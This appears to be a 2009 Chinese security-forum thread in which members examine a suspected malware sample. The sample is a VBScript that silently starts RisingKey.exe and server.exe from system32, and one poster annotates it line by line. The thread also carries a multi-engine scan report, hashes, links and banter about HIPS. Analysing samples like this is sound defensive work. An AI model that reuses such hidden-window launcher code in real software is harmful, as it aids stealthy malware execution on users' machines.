样本已经更新。希望HIPS一下

wxcgxcgw

dim shell
set shell=CreateObject("Wscript.Shell")
shell.run "cmd /c start %SystemRoot%\system32\RisingKey.exe",0
WScript.Sleep 1000
shell.run "cmd /c start %SystemRoot%\system32\server.exe",0

[ 本帖最后由 wxcgxcgw 于 2009-10-3 22:23 编辑 ]

qianwenxiang

dim shell  '建立变量shell
set shell=CreateObject("Wscript.Shell")  '将对象WScript.Shell赋予变量shell
shell.run "cmd /c start %SystemRoot%\system32\RisingKey.exe",0  '执行文件cmd /c start..
WScript.Sleep 1000 '休眠1s
shell.run "cmd /c start %SystemRoot%\system32\server.exe",0 '执行文件

wxcgxcgw

谢谢楼上的。嘿嘿我把样本传上

wxcgxcgw

VirSCAN.org Scanned Report :
Scanned time   : 2009/10/03 22:15:20 (CST)
Scanner results: 全部的杀毒软件报告没有发现病毒!
File Name      : 不知道是不是病毒.rar
File Size      : 127361 byte
File Type      : RAR archive data, v1d, os
MD5            : 75a6f6761889adef75a941bb4ab856e0
SHA1           : ee4df2a3dfadb31336de2e661a70865c4ac9f809
Online report  : http://virscan.org/report/ff14f6a6d1af3b12ce795c3469229cb9.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      4.5.0.8         20091003043819    2009-10-03  6.27   -
安博士V3       2009.10.04.00   2009.10.04        2009-10-04  0.82   -
AntiVir        8.2.1.33        7.1.6.68          2009-10-02  0.30   -
安天           2.0.18          20091003.2955253  2009-10-03  0.12   -
Arcavir        2009            200910020826      2009-10-02  0.07   -
Authentium     5.1.1           200910031125      2009-10-03  1.56   -
AVAST!         4.7.4           091002-0          2009-10-02  0.00   -
AVG            8.5.288         270.14.3/2411     2009-10-03  0.91   -
BitDefender    7.81008.4310517 7.28046           2009-10-03  3.77   -
CA (VET)       9.0.0.143       31.6.6773         2009-10-03  16.10  -
ClamAV         0.95.2          9864              2009-10-03  0.04   -
Comodo         3.11            2502              2009-10-03  0.71   -
CP Secure      1.3.0.5         2009.09.30        2009-09-30  0.14   -
Dr.Web         4.44.0.9170     2009.10.03        2009-10-03  5.54   -
F-Prot         4.4.4.56        20091003          2009-10-03  1.56   -
F-Secure       7.02.73807      2009.10.03.01     2009-10-03  0.33   -
飞塔           2.81-3.120      10.901            2009-10-03  0.16   -
GData          19.8191/19.497  20091003          2009-10-03  6.51   -
ViRobot        20091002        2009.10.02        2009-10-02  1.26   -
Ikarus         T3.1.01.72      2009.10.03.73909  2009-10-03  4.59   -
江民杀毒       11.0.800        2009.09.26        2009-09-26  6.22   -
卡巴斯基       5.5.10          2009.10.03        2009-10-03  0.17   -
金山毒霸       2009.2.5.15     2009.10.3.15      2009-10-03  0.52   -
迈克菲         5.3.00          5759              2009-10-02  3.34   -
Microsoft      1.5101          2009.10.03        2009-10-03  6.88   -
Norman         6.01.09         6.01.00           2009-09-16  1.84   -
熊猫卫士       9.05.01         2009.10.03        2009-10-03  9.31   -
趋势科技       8.700-1004      6.502.02          2009-10-03  0.06   -
Quick Heal     10.00           2009.10.03        2009-10-03  1.36   -
瑞星           20.0            21.49.22.00       2009-09-30  0.28   -
Sophos         2.90.1          4.45              2009-10-03  4.01   -
Sunbelt        5427            5427              2009-10-02  1.47   -
赛门铁克       1.3.0.24        20091002.003      2009-10-02  0.07   -
nProtect       20090930.01     5696930           2009-09-30  7.08   -
The Hacker     6.5.0.2         v00027            2009-10-02  0.64   -
VBA32          3.12.10.11      20091002.1438     2009-10-02  1.94   -
VirusBuster    4.5.11.10       10.112.56/1938802 2009-10-02  2.56   -

z2665

comodo miss，to
cima：http://camas.comodo.com/cgi-bin/ ... 08a1033c51a459b5e00

hddu

生成物上传扫描，报无毒。

http://virscan.org/report/5aba3a1a0afce6cecbbd2bc5387551aa.html

wxcgxcgw

楼上的辛苦了。

DoctorL

HIPS一下？新流行语？

wxcgxcgw

原帖由 DoctorL 于 2009-10-3 22:52 发表
HIPS一下？新流行语？

我随便说的。。难道现在都流行HIPS一下？

qianwenxiang

请无视下面一行

流行“被HIPSed”与“ToKLed”..

请无视上面一行